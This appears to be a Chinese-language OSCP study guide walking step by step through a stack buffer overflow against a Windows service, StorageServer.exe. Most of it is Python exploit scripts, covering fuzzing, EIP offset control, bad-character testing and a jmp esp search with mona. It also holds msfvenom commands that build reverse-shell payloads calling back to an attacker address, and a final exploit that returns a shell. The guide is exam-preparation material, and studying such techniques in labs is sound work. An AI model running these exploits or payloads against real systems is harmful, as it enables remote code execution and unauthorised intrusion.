这是在做OSCP过程中总结出来的新手照搬步骤。

复现崩溃

运行目标程序(找出端口),尝试发送大字符串观察程序是否崩溃

  1. #!/usr/bin/python
  2. import socket
  3. import sys
  4. filler = "A"*2400 //二分法找到境界值
  5. buffer=[filler]
  6. for string in buffer:
  7. print "Fuzzing with %s bytes" % len(string)
  8. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  9. connect=s.connect(('192.168.17.141',2233))
  10. s.send((string))
  11. s.close()

根据1.py脚本,以二分法的方式找出程序崩溃的零界值(这里发现2300不崩溃,但是2400崩溃了)
OSCP溢出题步骤 - 图1
OSCP溢出题步骤 - 图2

寻找EIP

尝试找到崩溃的具体长度。使用msf中的pattern_create模块生成字符,方便定位

/usr/share/metasploit-framework/tools/exploit    //工具路径

OSCP溢出题步骤 - 图3
将其放入2.py的filler中

#!/usr/bin/python
import socket
import sys
filler = "A***********"    //修改
buffer=[filler]
for string in buffer:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

管理员运行目标程序和Immunity Debugger(之后重新载入都需要管理员运行)
Immunity Debugger进入file->Attach->选择目标程序->点击运行按钮(右下角变为running)(载入步骤,同下“重新载入”)
运行2.py发现Immunity Debugger右下角变为黄色的Paused,表明程序崩溃了
OSCP溢出题步骤 - 图4
观察EIP值,使用pattern_offfset工具定位
OSCP溢出题步骤 - 图5

验证EIP

修改 3.py

#!/usr/bin/python
import socket
import sys
filler = "A"*2306    //修改
eip = "B"*4    //添加B字符先占位子
offset = "C"*16  //添加C字符先占位子测试
buffer= [filler + eip + offset]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

重新载入目标程序,运行3.py发现debugger程序Paused
观察EIP,若为42424242(B字符的ascll码)表明程序确实溢出了且可控!
OSCP溢出题步骤 - 图6
观察上图ESP的值为0295EE6C,对应上图下框第3行C,表明下一步到达地址,所以我们需要修改offset的值为8去填补中间隔的8位
脚本修该如下:

#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8    //修改处
buffer= [filler + eip + offset]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

查看shellcode空间是否足够(扩容测试)

一般我们的shellcode大小在300-400左右,但是有时候怕空间不够shellcode被截断就需要测试
我们现在的字符大小为:A_2306+B_4+C*8=2318 再加上可能需要的shellcode大小为400 就是等于2718。奢侈一点算3000
修改4.py如下:

#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8
buf = "D"*(3000-len(filler)-len(eip)-len(offset))    //添加,测试空间大小
buffer= [filler + eip + offset + buf]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

全部重新载入程序后运行4.py
OSCP溢出题步骤 - 图7
发现程序Paused
查看EIP对应地址是否任然为B(42)
OSCP溢出题步骤 - 图8
查看4B下面是否为恰好的8个C,查看ESP对应地址是否为D
OSCP溢出题步骤 - 图9
查看最后一行D地址为:02A6F110
OSCP溢出题步骤 - 图10
查看第一行D地址为:02A6EE6C
OSCP溢出题步骤 - 图11
计算最后一行D至第一行D的空间:02A6EE6C-02A6F110=676(10进制)
OSCP溢出题步骤 - 图12
676大小足够shellcode了

寻找坏字符badchars

重新载入程序,使用5.py致使Paused

#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8
badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer= [filler + eip + offset + badchars]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

选择ESP地址,右键选择Follow in Dump
OSCP溢出题步骤 - 图13
在左下角框使用16位16进制方便查看
OSCP溢出题步骤 - 图14
观察从什么位置中断(正常应为01-FF)
OSCP溢出题步骤 - 图15
此处为51处中断,则在5.py的badchars中删除\x51,再次测试寻找坏字符直至所有坏字符找出,该程序坏字符为\x00、\x51(\x00默认为坏字符)

查找jmp esp

接着使用上面的Debugger(不需要重新载入)
在最下面白框处输入

!mona modules

OSCP溢出题步骤 - 图16
OSCP溢出题步骤 - 图17
寻找前4位为false的程序或dll(一般都为目标程序或者目标程序自带的dll,也有可能是系统dll)(oscp中会随漏洞程序文件夹中放入一个dll文件,选择它就对了!)
白框处再次输入:

!mona find -s "\xff\xe4" -m StorageServer.exe   //修改最后选择的程序、dll即可  // "\xff\xe4"就是jmp esp字节码

OSCP溢出题步骤 - 图18
查看results,结果显示jmp esp 地址为1120110d(有多个一般选择第一个或者最贴近目标程序的那一个)

确认esp

重新载入程序,点击跳转按钮,填入上面找到的jmp esp地址
OSCP溢出题步骤 - 图19
发现的确为jmp esp指令
OSCP溢出题步骤 - 图20
在该指令处“F2”下断点,点击“运行”按钮
修改6.py中eip地址(注意是倒着写),并运行

#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "\x0d\x11\x20\x11"    //修改
offset = "C"*8
buf = "D"*(3000-len(filler)-len(eip)-len(offset))
buffer= [filler + eip + offset + buf]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

发现程序Paused,并且EIP指向我们的目标程序StorageServer.exe(上面选择的哪个jmp esp程序就应该显示哪个,该处是目标exe程序)
OSCP溢出题步骤 - 图21
使用“F7”步入发现EIP指向ESP 为正确结果
OSCP溢出题步骤 - 图22

生成shellcode

官方使用的参数如下:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.17.137 LPORT=443  –e x86/shikata_ga_nai -b "\x00\x51" EXITFUNC=thread -f c

但是经过测试该程序不适合使用这个payload(需要根据实际情况生成)
该程序使用的payload如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.137 LPORT=443  –e x86/shikata_ga_nai -b "\x00\x51" EXITFUNC=thread -f c

编写7.py加入nops(\x90为nop指令,避免上面字符干扰shellcode,一般12就够了),并且将生成的shellcode写入exp

#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "\x0d\x11\x20\x11"
offset = "C"*8
nops = "\x90"*12    //添加
exp = ( "\xdd\xc2\xbe\xee\xc4\x38\x15\xd9\x74\x24\xf4\x58\x33\xc9\xb1")      //生成的shellcode
buf = "D"*(3000-len(filler)-len(eip)-len(offset)-len(nops)-len(exp))
buffer= [filler + eip + offset + nops +exp + buf]
for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    connect=s.connect(('192.168.17.141',2233))
    s.send((string))
    s.close()

msf开启监听,重新管理员运行目标程序,运行脚本发现可反弹shell
OSCP溢出题步骤 - 图23


下面也附上官方POC脚本格式

#!/usr/bin/python
import socket
try:
 print "\nSending evil buffer..."
 filler = "A" * 2306
 eip = "\x0d\x11\x20\x11"
 offset = "C" * 4
 nops = "\x90" * 10
  shellcode = ("\x")

 buffer = filler + eip + offset + nops + shellcode
 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("192.168.17.139", 2233))
 s.send(buffer)
 s.close()
 print "\nDone did you get a reverse shell?"
except:
 print "\nCould not connect!"

注意,最后shellcode的payload的选择需要多试试,在oscp靶场中windows/shell_reverse_tcp适用,但另外一个不适用,在本地win7里windows/meterpreter/reverse_tcp适用,另外一个不适用